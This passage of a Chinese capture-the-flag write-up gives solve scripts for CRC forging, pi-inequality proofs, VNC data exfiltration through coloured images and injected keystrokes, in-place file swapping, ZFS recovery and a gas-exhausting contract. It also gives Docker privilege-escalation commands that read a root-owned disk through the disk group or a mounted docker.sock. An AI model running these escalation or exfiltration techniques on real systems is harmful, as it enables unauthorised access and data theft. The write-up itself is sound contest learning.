    assert (u2, u1, u0) == (246290604621823, 281474976710655, 281474976710655)  
    digest = (digest * (digest * u2 + u1) + u0) % (1 << 48)                     
    return digest.to_bytes(48 // 8, 'little')                                   

def try_file(content):
    r=requests.post("http://202.38.93.141:19975/answer_c.py",data=content)
    res=r.json()
    wh={}
    if not "wrong_hints" in res:
        return wh
    for k,v in res["wrong_hints"].items():
        wh[int(k)]=v
    return wh


cs = string.printable[:-6]
print(cs.encode())

base85_alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#$%&()*+-;<=>?@^_`{|}~"

target = 74778752044970#crc value
crcsol = []

N=48
LNS=list(range(N))
LNS=LNS+[49,52]

def work_gauss(n,crcsol,M=6):
    baseb=bytes([32]*n)#only use 64-95 5bit
    basecrc = crc(baseb)
    crcdiffs = []
    for i in range(n):
        for c in range(M):
            b = baseb[:i]+bytes([32+(1<<c)])+baseb[i+1:]
            crcv = crc(b)
            crcdiffs.append((i,c,crcv^basecrc))

    #no z3 lol

    for i in LNS:
        crcsol.append((crcdiffs[i][2],1<<i))
        # print(hex(crcdiffs[i][2]),1<<i)
    #gauss elimination
    for i in range(N):
        rj = None
        for j in range(i,len(LNS)):
            if crcsol[j][0]&(1<<i):
                rj = j
                break
        if rj is None:
            print("FREE",i)
            assert False
        crcsol[i],crcsol[rj] = crcsol[rj],crcsol[i]
        for j in range(0,len(LNS)):
            if j==i:
                continue
            if crcsol[j][0]&(1<<i):
                crcsol[j] = (crcsol[j][0]^crcsol[i][0],crcsol[j][1]^crcsol[i][1])


def crackcrc(cont,v,M=6,kl=9):
    cont=[32]*kl+list(cont[kl:])
    basec=crc(bytes(cont))
    diffc = basec^v
    diffv = 0
    for i in range(48):
        if diffc&(1<<i):
            diffv^=crcsol[i][1]
    for i in LNS:
        if diffv&(1<<i):
            cont[i//M]^=1<<(i%M)
            if i%M==5:
                cont[i//M]^=1<<(i%M+1)
    rcont = bytes(cont)
    assert crc(rcont)==v
    return rcont

rlen = 64
work_gauss(rlen,crcsol)
print("Gauss done")

baseb = b""
baseb = b'6Gc8##buBY?WpXW4axrCOEmSZqM|EX$b1g7#Wi2pfEmUY_EmAOdb3c6'
baseb = b'c6Gc8##buBY?WpXW4axrCOEmSZqM|EX$b1g7#Wi2pfEmUY_EmAOdb3c6'

for i in range(len(baseb),rlen-9):
    cont=[]
    for c in cs:
        cub = b"`"*(rlen-i-1)+bytes([ord(c)])+baseb
        cont.append(crackcrc(cub,target))
    cont = b"\n".join(cont)
    ret = try_file(cont)
    rt= None
    for i in range(len(cs)):
        er = ret[i+1]
        cdata = "0x%02X"%(ord(cs[i]))
        if f"Unmatched data ({cdata})" not in er:
            rt = cs[i]
            break
    if rt is None:
        print("ERROR")
        print(rt,ret)
        assert False
    baseb = bytes([ord(rt)])+baseb
    print(len(baseb),baseb)

xx=b"P"*(rlen-len(baseb))+baseb
flg=base64.b85decode(xx)
print(flg)
print(flg[:8])
print(flg[8:])

printable_no_space = string.printable[:-6]

#try b[8]
if len(baseb)<rlen-8:
    for times in range(100):
        cont=[]
        for c in cs:
            while True:
                cub = bytes([random.randint(32,127) for _ in range(8)])+bytes([ord(c)])+baseb
                ccr = crackcrc(cub,target,kl=0)
                # print(c,ccr)
                if cub[8]!=ccr[8]:
                    continue
                if not all([i in printable_no_space.encode() for i in ccr]):
                    continue
                break
            print("T",c,ccr)
            cont.append((c,ccr))
        fcont = b"\n".join([i[1] for i in cont])
        ret = try_file(fcont)
        rt = None
        for i in range(len(cont)):
            er = ret[i+1]
            cdata = "0x%02X"%(ord(cont[i][0]))
            if f"Unmatched data ({cdata})" not in er:
                rt = cont[i][0]
                break
        print("RT",rt)
        if rt is not None:
            baseb = bytes([ord(rt)])+baseb
            print(baseb)
            break

flag_cs=string.ascii_letters+string.digits+"!-_?"
print(flag_cs)
flag_cs=list((flag_cs).encode())

for b1 in base85_alphabet:
    for b2 in base85_alphabet:
        try:
            rb = b"P"*5+bytes([ord(b1),ord(b2),48,48]) + baseb
            x = base64.b85decode(rb)
            if x[4]!=ord('{'):
                continue
        except:
            break
            pass
        for b3 in base85_alphabet:
            rb = b"P"*5+bytes([ord(b1),ord(b2),ord(b3)]) + baseb
            try:
                x = base64.b85decode(rb)[4:]
                visible_cnt = sum([int(i in flag_cs) for i in x])
                if visible_cnt>=45:
                    print(visible_cnt,x)
            except:
                pass

0x0D 优雅的不等式

注意到,这个问题在知乎上见过很多了。直接在知乎上搜索发现 https://zhuanlan.zhihu.com/p/669285539

直接使用即可。注意到随着难度的提高,精度也越来越高,因此需要更大的n。由于这玩意积分起来比较慢,所以我单独写了个程序用于生成可能的n和对应的积分结果。实际用起来的时候,有时候abc不一定能直接解出一个数值解,可能ab是用c表示的。此时清真做法是解函数的最小值不等式。但是我随便试了几个发现,当c取足够大时,最小值就足够大。所以直接取个大值好了。

import sympy
from sympy import Symbol, solve
import json

x = Symbol('x')
a = Symbol('a')
b = Symbol('b')
c = Symbol('c')

MAXN = 80
MAXM = 80

def initp(n,m):
    print(n,m)
    form = f"x**{n}*(1 - x)**{m}*(a + b*x + c*x*x)/(1 + x*x)"
    res = sympy.integrate(form, (x, 0, 1))
    res = sympy.simplify(res)
    lg2v = res.coeff("log(2)")
    piv = res.coeff("pi")
    uintf=res.as_coefficients_dict()
    return piv, lg2v, sympy.parsing.sympy_parser.parse_expr(f"{uintf[a]}*a + {uintf[b]}*b + {uintf[c]}*c")

try:
    f=open("params.json")
    parms=json.load(f)
    f.close()
except:
    parms={}
#append

for i in range(MAXN-1,MAXN):
    for j in range(MAXM-1,MAXM):
        if f"{i},{j}" in parms:
            continue
        res = initp(i,j)
        parms[f"{i},{j}"] = (str(res[0]),str(res[1]),str(res[2]))

f=open("params.json","w")
json.dump(parms,f)
f.close()
import sympy
from sympy import Symbol, solve
import json

x = Symbol('x')
a = Symbol('a')
b = Symbol('b')
c = Symbol('c')



def initp(n,m):
    print(n,m)
    form = f"x**{n}*(1 - x)**{m}*(a + b*x + c*x*x)/(1 + x*x)"
    res = sympy.integrate(form, (x, 0, 1))
    res = sympy.simplify(res)
    lg2v = res.coeff("log(2)")
    piv = res.coeff("pi")
    uintf=res.as_coefficients_dict()
    return piv, lg2v, sympy.parsing.sympy_parser.parse_expr(f"{uintf[a]}*a + {uintf[b]}*b + {uintf[c]}*c")

parms={}
forder=[]

def work(p,q):
    print(p,q)
    for n,m in forder:
        ncp = parms[(n,m)]

        fn1 = ncp[0] - q
        fn2 = ncp[1]
        fn3 = ncp[2] + p

        sol = solve([fn1, fn2, fn3], (a, b, c))
        print(n,m,sol)

        av = sol[a]
        bv = sol[b]
        if not c in sol:
            #solve inn >= 0
            inn = f"{av} + {bv}*x + c*x**2"
            inn = sympy.parsing.sympy_parser.parse_expr(inn)
            domain = sympy.Interval(0, 1)
            cv=2**1919
            continue
        else:
            cv = sol[c]

        inn = f"{av} + {bv}*x + {cv}*x**2"

        #check >=0
        domain = sympy.Interval(0, 1)
        f = sympy.parsing.sympy_parser.parse_expr(inn)
        ok = sympy.solveset(f >= 0, x, domain) == domain
        if not ok:
            continue

        outv = f"x**{n}*(1 - x)**{m}*({inn})/(1 + x*x)/{q}"
        print(outv)
        print(len(outv))
        return outv
    print("GG")
    assert False

f=open("params.json")
jparms=json.load(f)
f.close()

for k,v in jparms.items():
    parms[tuple(map(int,k.split(",")))] = tuple(map(sympy.parsing.sympy_parser.parse_expr,v))

forder = list(parms.keys())
forder.sort(key=lambda x: -(x[0]+x[1]))
forder = forder[:20]

from pwn import *
context.log_level = 'debug'

s = remote('202.38.93.141', 14514)

token = b""
s.sendline(token)

for i in range(40):
    print("CUR: ",i)
    s.recvuntil(b'Please prove that pi>=')
    v=s.recvline().strip().decode()
    if "/" in v:
        p,q = map(int, v.split("/"))
    else:
        p = int(v)
        q = 1
    outv = work(p,q)
    s.sendline(outv)

s.interactive()

0x0E 无法获得的秘密

本题给了一个不能用剪切板的VNC,需要把里面一个512KB的二进制文件带出来。先测试一下,每次文件都是一样的,这可太好了。

显然,对于无设备交互传输信息的情况下,最方便的就是二维码了。可惜在这个场景下,二维码信息密度有点低,只有双色而且还有额外校验,要传出512KB怕是得累死。以及机子上并没有能生成二维码的库(显然也没法装)。

因此我们考虑自定义一个code。比如一个格子正好表示一个byte,用3byte的彩色去编码一个字节(因为传输压缩会导致颜色失真)。注意到这个VNC分辨率是调不好的,意味着会被缩放,我们需要用多个像素表示一个格子。此处我多次尝试后使用4,一张图150x150个格子。同时为了我们截图方便,图片的四周会生成一大坨黑色边界,程序会先检测大量黑色以确定边界,并算出缩放比例。

接下来我们需要写一个生成图片的代码并传上去。这块一种方法是写js canvas,另外一个就是裸写bmp。我用的第二个。这个做法网上可以随便找一个写bmp24的代码做参考。同时为了避免手敲代码,我写了个模拟键盘的脚本,用于把代码粘上去。最后跑下来生成了27张图片(截图太累了,以及中间手欠了好几次做一半把题目标签页关了,大量重开中)。

import struct
import random
from hashlib import sha256

H=600
N=150

f=open("secret","rb")
secret=f.read()
f.close()

ck=0
while secret:
    nmat={(i,j):(0,0,0) for i in range(N) for j in range(N)}
    na=secret[:(N-8)*(N-8)]
    print(sha256(na).hexdigest())
    secret=secret[(N-8)*(N-8):]
    na=na+b"\x00"*((N-8)*(N-8)-len(na))
    for i in range(4,N-4):
        for j in range(4,N-4):
            nc=na[(i-4)*(N-8)+j-4]
            nmat[(i,j)]=(nc//32*32,(nc//4%8)*32,(nc%4)*64)
    f=open(f"img{ck}.bmp","wb")
    f.write(b"BM")
    f.write(struct.pack("<I",54+H*H*3))
    f.write(b"\x00"*4)
    f.write(b"\x36\x00\x00\x00")
    f.write(b"\x28\x00\x00\x00")
    f.write(struct.pack("<I",H)*2)
    f.write(b"\x01\x00\x18\x00")
    f.write(b"\x00"*24)

    for i in range(H):
        for j in range(H):
            f.write(bytes(nmat[((H-i-1)*N//H,j*N//H)]))
    f.close()
    ck+=1
import win32api
import win32con
import string
import time

def press_key(key):
    win32api.keybd_event(key, 0, 0, 0)
    win32api.keybd_event(key, 0, win32con.KEYEVENTF_KEYUP, 0)

def press_char(char):
    if char in string.ascii_uppercase:
        win32api.keybd_event(win32con.VK_SHIFT, 0, 0, 0)
        press_key(ord(char))
        win32api.keybd_event(win32con.VK_SHIFT, 0, win32con.KEYEVENTF_KEYUP, 0)
        return
    if char in string.ascii_lowercase:
        press_key(ord(char.upper()))
        return
    if char in string.digits:
        press_key(ord(char))
        return
    lower_codes = {
        "`": 192,
        "-": 189,
        "=": 187,
        "[": 219,
        "]": 221,
        "\\": 220,
        ";": 186,
        "'": 222,
        ",": 188,
        ".": 190,
        "/": 191,
        " ": win32con.VK_SPACE,
        "\n": win32con.VK_RETURN,
    }

    upper_codes = {
        "~": 192,
        "_": 189,
        "+": 187,
        "{": 219,
        "}": 221,
        "|": 220,
        ":": 186,
        "\"": 222,
        "<": 188,
        ">": 190,
        "?": 191,
        "!": 49,
        "@": 50,
        "#": 51,
        "$": 52,
        "%": 53,
        "^": 54,
        "&": 55,
        "*": 56,
        "(": 57,
        ")": 48,
    }

    if char in lower_codes:
        press_key(lower_codes[char])
        return
    if char in upper_codes:
        win32api.keybd_event(win32con.VK_SHIFT, 0, 0, 0)
        press_key(upper_codes[char])
        win32api.keybd_event(win32con.VK_SHIFT, 0, win32con.KEYEVENTF_KEYUP, 0)
        return
    raise ValueError(f"Invalid character: {char}")

def enter_string(s):
    for c in s:
        press_char(c)
    press_key(win32con.VK_RETURN)


print("OK!")
time.sleep(5)

f=open("t.py","r")
s=f.read()
f.close()

enter_string(s)

之后我们本地写解码就行。注意考虑到缩放问题,我们一个格子会取附近的像素的带权平均。

from PIL import Image
import numpy as np
from hashlib import sha256

N=150

def dec(image_path):
    img = Image.open(image_path)
    img = img.convert('RGB')
    img = np.array(img)
    #test real pos
    rx0 = 0
    ry0 = 0
    rw = 0
    rh = 0

    for i in range(img.shape[0]):
        #count black pixels in row
        cnt = 0
        for j in range(img.shape[1]):
            if img[i][j][0] <16 and img[i][j][1] < 16 and img[i][j][2] < 16:
                cnt += 1
        if cnt > img.shape[1] * 0.8:
            rx0 = i
            rw = cnt
            break
    for i in range(img.shape[1]):
        #count black pixels in column
        cnt = 0
        for j in range(img.shape[0]):
            if img[j][i][0] <16 and img[j][i][1] < 16 and img[j][i][2] < 16:
                cnt += 1
        if cnt > img.shape[0] * 0.8:
            ry0 = i
            rh = cnt
            break
    print(rx0, ry0, rw, rh)

    bts = []

    for x in range(4,N-4):
        for y in range(4,N-4):
            cmx=int((x+0.5)*rh/N)
            cmy=int((y+0.5)*rw/N)
            cols=[0,0,0]
            # for k in range(3):
            #     cols[k]+=img[rx0+cmx][ry0+cmy][k]
            twei=0
            for i in range(3):
                for j in range(3):
                    cwei=1/(abs(i-1)+abs(j-1)+1)
                    twei+=cwei
                    for k in range(3):
                        cols[k]+=img[rx0+cmx+i-1][ry0+cmy+j-1][k]*cwei
            b1=int(cols[0]/twei/64+0.4)
            b2=int(cols[1]/twei/32+0.4)
            b3=int(cols[2]/twei/32+0.4)
            byt=b3*32+b2*4+b1
            if byt>255:
                print("error")
                print(x,y,b1,b2,b3,cols,rx0+cmx,ry0+cmy)
                exit(0)
            bts.append(byt)
    bts = bytes(bts)
    print(sha256(bts).hexdigest())
    return bts


ab=b""

for i in range(27):
    bs=dec(f"datas/{i}.png")
    ab+=bs

ab=ab[:2**19]

print(sha256(ab).hexdigest())

f=open("res","wb")
f.write(ab)
f.close()

0x0F Docker for Everyone Plus

本题有两问。都是给你普通用户的机子访问权限的情况下,还使用sudo给了docker部分命令的访问权限,需要读到root的flag。

本题最恶心的地方是环境交互体验极差:内置的docker没有镜像,需要手动上传;尽管提供了zmodem,但是找到方便使用的软件很麻烦,上传文件非常痛苦;即便找到了,设置时间也非常长,开机一分钟,上传两分钟(10M不到的alpine);环境15分钟超时,稍微试一试就爆了。

好不容易找到了能使用zmodem的方法:用xshell/mobaxterm先连接到一个ssh之类的,再在里面开nc然后用zmodem;或者用secureCRT选raw。但这几个终端上传文件速度都很慢。同时上传的时候还有个坑:默认目录是不可写的,得随便cd到其他地方(比如/tmp或者/dev/shm)。

先看第一题。我们执行一下sudo -l观察一下限制。我们只能用docker run -u 1000:1000docker image load,还有一些黑名单。至少我们可以传任意image了。我们可以先干一个alpine上去。同时我们可以试出来,docker的-u选项是可以覆盖的,我们用个新的用户覆盖过去就好。但可惜限制里面还写了,我们不能搞出来 user0,还是拿不到root。

正当我不知所措的时候,想着先看看flag是什么情况。仔细一看:怎么/flag是一个到/dev/vdb的软链接。再一看:/dev/vdb的用户组是disk,且对同组用户都有权限。

所以我们思路就很明确了,开个docker,把用户组挂成disk,之后直接cat就好了。从/etc/group可以查到gid是6。当然也需要开一个privilege使得有dev。

cat alp.tar | sudo docker image load
sudo docker run --rm -u 1000:1000 -u 1000:6 --privileged=true -it alpine /bin/sh
cat /dev/vdb

之后看第二个题。我们发现第二个题虽然flag还是在低权限的dev上,但是要求我们必须有 --security-opt=no-new-privileges 选项。有这个选项的情况下,我们也没法开 --privileged=true 了。同时sudo还限制了不能用 --device 相关命令。这下不知道怎么玩了!

但其实有上一道题经验,我们知道其实我们的权限是很大的:我们可以随便切到不是root的用户和用户组。只是恰好我们访问不了device和flag罢了。我们想一下还有哪些特权用户组。比如题目中提到的docker组:我们完全可以把docker内用户设成docker组,同时把docker的socket挂进去,直接上个docker in docker(其实变成了docker in docker in qemu in docker)。有两年前题目的经验,我们在docker in docker里面就可以开出高权限用户了,毕竟docker内部是满权的,也没有sudo卡我们。当然我们需要查一下docker用户组id是103。

cat alp.tar | sudo docker image load
sudo docker run --rm --security-opt=no-new-privileges -u 1000:1000 -u 1000:103 -v /var/run/docker.sock:/var/run/docker.sock -v /usr/bin/docker:/usr/bin/docker -it alpine /bin/sh
docker run -u 1000:6 --privileged=true -it alpine /bin/sh
cat /dev/vdb

0x10 看不见的彼方:交换空间

本题需要写两个程序,用进程间通讯的方法在较小的内存空间里面交换两个128M的文件并写到盘里面。题目是用的316M的内存盘,但是文件加起来就256M了,所以实际可用空间为60M。

首先先考虑如何进程间通讯:虽然chroot了,但是我们可以直接开网络socket。简单测一下发现真能用!

之后考虑如何交换文件。第一题是两个128M的文件原地交换。众所周知,linux的文件是支持边读边写的,也可以随便切换指针。因此我们写个cpp程序,每次从文件里面读1M内容并发送过去,之后接收对面发过来的1M内容,写到原地。

#include <cstring>
#include <iostream>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>

using namespace std;

const size_t BS=1024*1024;
const int BC=128;

char buffer1[BS+1] = { 0 };
char buffer2[BS+1] = { 0 };

void recvall(int clientSocket, char* buffer, size_t size) {
    size_t cur = 0;
    while(cur < size) {
        int st = recv(clientSocket, buffer+cur, size-cur, 0);
        if (st == -1) {
            cout << "Error Number " << errno << endl;
            cout << "Error: " << strerror(errno) << endl;
            exit(1);
        }
        cur += st;
    }
}

int main()
{
    cout<<"Alice"<<endl;
    //open file in
    int fd = open("space/file", O_RDWR);
    if (fd == -1) {
        cout << "Error Number " << errno << endl;
        cout << "Error: " << strerror(errno) << endl;
        return 1;
    }

    // creating socket
    int serverSocket = socket(AF_INET, SOCK_STREAM, 0);

    // specifying the address
    sockaddr_in serverAddress;
    serverAddress.sin_family = AF_INET;
    serverAddress.sin_port = htons(8080);
    serverAddress.sin_addr.s_addr = INADDR_ANY;

    // binding socket.
    bind(serverSocket, (struct sockaddr*)&serverAddress,
         sizeof(serverAddress));
        
    cout<<"Listening"<<endl;

    // listening to the assigned socket
    listen(serverSocket, 5);

    // accepting connection request
    int clientSocket
        = accept(serverSocket, nullptr, nullptr);
    
    cout<<"Accepted"<<endl;

    size_t cur = 0;

    for(int i=0; i<BC; i++) {
        read(fd, buffer1, BS);
        int st = send(clientSocket, buffer1, BS, 0);
        if (st == -1) {
            cout << "Error Number " << errno << endl;
            cout << "Error: " << strerror(errno) << endl;
            return 1;
        }
        recvall(clientSocket, buffer2, BS);
        cout << i << " " << cur << endl;
        //write buffer to same position
        lseek(fd, cur, SEEK_SET);
        write(fd, buffer2, BS);
        cur += BS;
    }

    // closing the socket.
    close(serverSocket);

    return 0;
}
#include <cstring>
#include <iostream>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>

using namespace std;

const size_t BS=1024*1024;
const int BC=128;

char buffer1[BS+1] = { 0 };
char buffer2[BS+1] = { 0 };

void recvall(int clientSocket, char* buffer, size_t size) {
    size_t cur = 0;
    while(cur < size) {
        int st = recv(clientSocket, buffer+cur, size-cur, 0);
        if (st == -1) {
            cout << "Error Number " << errno << endl;
            cout << "Error: " << strerror(errno) << endl;
            exit(1);
        }
        cur += st;
    }
}

int main()
{
    cout<<"Bob"<<endl;
    //open file in
    int fd = open("space/file", O_RDWR);
    if (fd == -1) {
        cout << "Error Number " << errno << endl;
        cout << "Error: " << strerror(errno) << endl;
        return 1;
    }
    // creating socket
    int clientSocket = socket(AF_INET, SOCK_STREAM, 0);

    // specifying address
    sockaddr_in serverAddress;
    serverAddress.sin_family = AF_INET;
    serverAddress.sin_port = htons(8080);
    serverAddress.sin_addr.s_addr = INADDR_ANY;

    sleep(1);

    // sending connection request
    connect(clientSocket, (struct sockaddr*)&serverAddress,
            sizeof(serverAddress));

    cout<<"Connected"<<endl;

    size_t cur = 0;
    for(int i=0; i<BC; i++) {
        read(fd, buffer1, BS);
        int st = send(clientSocket, buffer1, BS, 0);
        if (st == -1) {
            cout << "Error Number " << errno << endl;
            cout << "Error: " << strerror(errno) << endl;
            return 1;
        }
        recvall(clientSocket, buffer2, BS);
        cout << i << " " << cur << endl;
        //write buffer to same position
        lseek(fd, cur, SEEK_SET);
        write(fd, buffer2, BS);
        cur += BS;
    }

    // closing socket
    close(clientSocket);

    return 0;
}

之后看第二题。注意到这个题,Bob的文件变成了两个64M,同时文件名也不同。这就意味着我们不能在同一个文件上进行覆写来完成交换了(其实只有文件名不同的话可以先mv)。不过我们还是可以用上述的原地写的方法,先把内容交换了,把A的file分割写到B的file1和file2,把B的file1和file2合并写到A的file,之后再考虑怎么分割/合并。

熟悉linux的同学又知道了:linux可以truncate文件,即删去文件末尾的内容只保留前面。我们在挪数据的时候用这个方法就可以节省空间了。但这个方法只能删除后面的,意味着我们一块一块必须倒着读。但如果我们尝试同时倒着写的话,又需要预分配空间(虽然可能可以用什么sparse file的特技),没法搞。玩的比较花的同学又能想到,我们完全可以用fsdb去做这个事:先倒着把文件拆分成小文件,再正着把小文件合并成大文件。只要我们能边写边删,就可以省下空间。之后就能拿到flag了。

#include <cstring>
#include <iostream>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include<string>

using namespace std;

const size_t BS=1024*1024;
const int BC=128;

char buffer1[BS+1] = { 0 };
char buffer2[BS+1] = { 0 };

void recvall(int clientSocket, char* buffer, size_t size) {
    size_t cur = 0;
    while(cur < size) {
        int st = recv(clientSocket, buffer+cur, size-cur, 0);
        if (st == -1) {
            cout << "Error Number " << errno << endl;
            cout << "Error: " << strerror(errno) << endl;
            exit(1);
        }
        cur += st;
    }
}


string getfilename(int i) {
    string s = "space/works";
    s += to_string(i);
    return s;
}

int main()
{
    cout<<"Alice"<<endl;
    //open file in
    int fd = open("space/file", O_RDWR);
    if (fd == -1) {
        cout << "Error Number " << errno << endl;
        cout << "Error: " << strerror(errno) << endl;
        return 1;
    }

    // creating socket
    int serverSocket = socket(AF_INET, SOCK_STREAM, 0);

    // specifying the address
    sockaddr_in serverAddress;
    serverAddress.sin_family = AF_INET;
    serverAddress.sin_port = htons(8080);
    serverAddress.sin_addr.s_addr = INADDR_ANY;

    // binding socket.
    bind(serverSocket, (struct sockaddr*)&serverAddress,
         sizeof(serverAddress));
        
    cout<<"Listening"<<endl;

    // listening to the assigned socket
    listen(serverSocket, 5);

    // accepting connection request
    int clientSocket
        = accept(serverSocket, nullptr, nullptr);
    
    cout<<"Accepted"<<endl;

    size_t cur = 0;

    for(int i=0; i<BC; i++) {
        int rt = read(fd, buffer1, BS);
        if(rt==-1) {
            cout << "Error Number " << errno << endl;
            cout << "Error: " << strerror(errno) << endl;
            return 1;
        }
        int st = send(clientSocket, buffer1, BS, 0);
        if (st == -1) {
            cout << "Error Number " << errno << endl;
            cout << "Error: " << strerror(errno) << endl;
            return 1;
        }
        recvall(clientSocket, buffer2, BS);
        // cout << i << " " << cur << endl;
        //write buffer to same position
        lseek(fd, cur, SEEK_SET);
        write(fd, buffer2, BS);
        cur += BS;
    }

    cout<<"Swap Done"<<endl;

    // closing the socket.
    close(serverSocket);

    close(fd);
    //reorder;

    fd = open("space/file", O_RDWR);
    for(int i=BC-1; i>=0; i--) {
        lseek(fd, i*BS, SEEK_SET);
        read(fd, buffer1, BS);
        int ofd = open(getfilename(i).c_str(), O_RDWR| O_CREAT, 0666);
        write(ofd, buffer1, BS);
        close(ofd);
        ftruncate(fd, i*BS);
    }
    close(fd);
    cout<<"Reorder Done"<<endl;

    fd = open("space/file1", O_RDWR| O_CREAT, 0666);
    for(int i=0; i<BC/2; i++) {
        int ofd = open(getfilename(i).c_str(), O_RDWR);
        read(ofd, buffer1, BS);
        lseek(fd, i*BS, SEEK_SET);
        write(fd, buffer1, BS);
        close(ofd);
        unlink(getfilename(i).c_str());
    }
    fd = open("space/file2", O_RDWR| O_CREAT, 0666);
    for(int i=0; i<BC/2; i++) {
        int ofd = open(getfilename(i+BC/2).c_str(), O_RDWR);
        read(ofd, buffer1, BS);
        lseek(fd, i*BS, SEEK_SET);
        write(fd, buffer1, BS);
        close(ofd);
        unlink(getfilename(i+BC/2).c_str());
    }
    close(fd);

    cout<<"Write Done"<<endl;

    return 0;
}
#include <cstring>
#include <iostream>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include<string>

using namespace std;

const size_t BS=1024*1024;
const int BC=128;

char buffer1[BS+1] = { 0 };
char buffer2[BS+1] = { 0 };

void recvall(int clientSocket, char* buffer, size_t size) {
    size_t cur = 0;
    while(cur < size) {
        int st = recv(clientSocket, buffer+cur, size-cur, 0);
        if (st == -1) {
            cout << "Error Number " << errno << endl;
            cout << "Error: " << strerror(errno) << endl;
            exit(1);
        }
        cur += st;
    }
}

string getfilename(int i) {
    string s = "space/works";
    s += to_string(i);
    return s;
}

int main()
{
    cout<<"Bob"<<endl;
    //open file in
    int fd = open("space/file1", O_RDWR);
    if (fd == -1) {
        cout << "Error Number " << errno << endl;
        cout << "Error: " << strerror(errno) << endl;
        return 1;
    }
    // creating socket
    int clientSocket = socket(AF_INET, SOCK_STREAM, 0);

    // specifying address
    sockaddr_in serverAddress;
    serverAddress.sin_family = AF_INET;
    serverAddress.sin_port = htons(8080);
    serverAddress.sin_addr.s_addr = INADDR_ANY;

    sleep(1);

    // sending connection request
    connect(clientSocket, (struct sockaddr*)&serverAddress,
            sizeof(serverAddress));

    cout<<"Connected"<<endl;

    size_t cur = 0;
    for(int i=0; i<BC; i++) {
        if(i==BC/2)
        {
            //close file1 and open file2
            close(fd);
            fd = open("space/file2", O_RDWR);
            if (fd == -1) {
                cout << "Error Number " << errno << endl;
                cout << "Error: " << strerror(errno) << endl;
                return 1;
            }
            cur = 0;
        }
        int rt = read(fd, buffer1, BS);
        if(rt==-1) {
            cout << "Error Number " << errno << endl;
            cout << "Error: " << strerror(errno) << endl;
            return 1;
        }
        int st = send(clientSocket, buffer1, BS, 0);
        if (st == -1) {
            cout << "Error Number " << errno << endl;
            cout << "Error: " << strerror(errno) << endl;
            return 1;
        }
        recvall(clientSocket, buffer2, BS);
        // cout << i << " " << cur << endl;
        //write buffer to same position
        lseek(fd, cur, SEEK_SET);
        write(fd, buffer2, BS);
        cur += BS;
    }

    cout<<"Swap Done"<<endl;

    // closing socket
    close(clientSocket);

    close(fd);
    //reorder;
    fd = open("space/file2", O_RDWR);
    for(int i=BC/2-1; i>=0; i--) {
        lseek(fd, i*BS, SEEK_SET);
        read(fd, buffer1, BS);
        int ofd = open(getfilename(i+BC/2).c_str(),O_RDWR| O_CREAT, 0666);
        write(ofd, buffer1, BS);
        close(ofd);
        ftruncate(fd, i*BS);
    }
    close(fd);
    fd=open("space/file1", O_RDWR);
    for(int i=BC/2-1; i>=0; i--) {
        lseek(fd, i*BS, SEEK_SET);
        read(fd, buffer1, BS);
        int ofd = open(getfilename(i).c_str(), O_RDWR| O_CREAT,0666);
        write(ofd, buffer1, BS);
        close(ofd);
        ftruncate(fd, i*BS);
    }
    close(fd);
    cout<<"Reorder Done"<<endl;

    //write all to space/file
    fd = open("space/file", O_RDWR| O_CREAT, 0666);
    for(int i=0; i<BC; i++) {
        int ofd = open(getfilename(i).c_str(), O_RDWR);
        read(ofd, buffer1, BS);
        lseek(fd, i*BS, SEEK_SET);
        write(fd, buffer1, BS);
        close(ofd);
        unlink(getfilename(i).c_str());
    }
    close(fd);

    cout<<"Write Done"<<endl;
    

    return 0;
}

0x11 ZFS 文件恢复

题目给了个zfs镜像,要恢复俩文件。上来就是一个binwalk,直接就发现了一坨sh脚本。显然就是flag2.sh。不难得到:

#!/bin/sh
flag_key="hg2024_$(stat -c %X.%Y flag1.txt)_$(stat -c %X.%Y "$0")_zfs"
echo "46c518b175651d440771836987a4e7404f84b20a43cc18993ffba7a37106f508  -" > /tmp/sha256sum.txt
printf "%s" "$flag_key" | sha256sum --check /tmp/sha256sum.txt || exit 1
printf "flag{snapshot_%s}\n" "$(printf "%s" "$flag_key" | sha1sum | head -c 32)"

显然,我们要找到flag1和flag2的修改时间和访问时间。我们可以先试试一车的zfs数据恢复软件。可惜试了半天只有一个勉强能用,但似乎还是解不出本题(我找到这个软件的时候已经做出来flag2了,在做flag1)。

所以还是回归zfs原始操作。我们先把这个镜像挂载一下,简单的随便用什么命令看一下历史记录txg,可以发现所有修改都在Wed Oct 23 13:37:22 2024进行。我们先胡乱试试枚举一下,发现没什么用。猜测是出题人修改了fs里面的文件时间来出题(不然本题就要出成递归的了,虽说也不是不能)。之后我们尝试用zdb -dddddddd hg2024 看看详细信息。直接在输出结果里面搜time,发现里面出现了四个其他时间。检查一下,发现正好对应两个ZFS plain file,路径为on delete queue的文件的atime和mtime。这显然就是我们要的文件和时间了。另外看文件大小:4135和331也能确认。之后可以算出flag2。

之后flag1,研究了半天zdb怎么玩也没有研究明白。gpt似乎也不是特别懂,每次输出的命令都不太一样而且也跑不了。倒是最开始尝试解包了binwalk出来的一个zlib,发现是一个4096大小的随机纯文本内容,结合zfs压缩的特性倒是能猜出来是出题人故意生成的随机内容,是flag1文件的前面部分。然而4096后的部分并不在这一块的后面,我就完全不会了。

题目的镜像还有个snapshot,到最后也没看出来有什么用。

0x12 链上转账助手

题目写了一个批量转账助手,会给用户自定义合约转账,拿到flag需要转账失败。不难直接发现(或对比第三问),前两问只需要把gas耗光即可。不难写一个合约:

contract test
{
    fallback() payable external 
    {
        uint x;
        while(true)
        {
            x=x+1;
        }
    }
}

编译一下交上去得到前两问flag。

第三问里面,调用的合约限制了gas使用,十个调用加起来的消耗远远低于tx限制,看起来不能用这个方法了。但实际上我们看batchTransfer函数,后续就没有revert点了(除了把pendingWithdrawals干溢出之类的不可行的)。所以我们还考虑gas,考虑是否有什么途径,使得我们内部消耗的gas在外部可以被进一步放大。

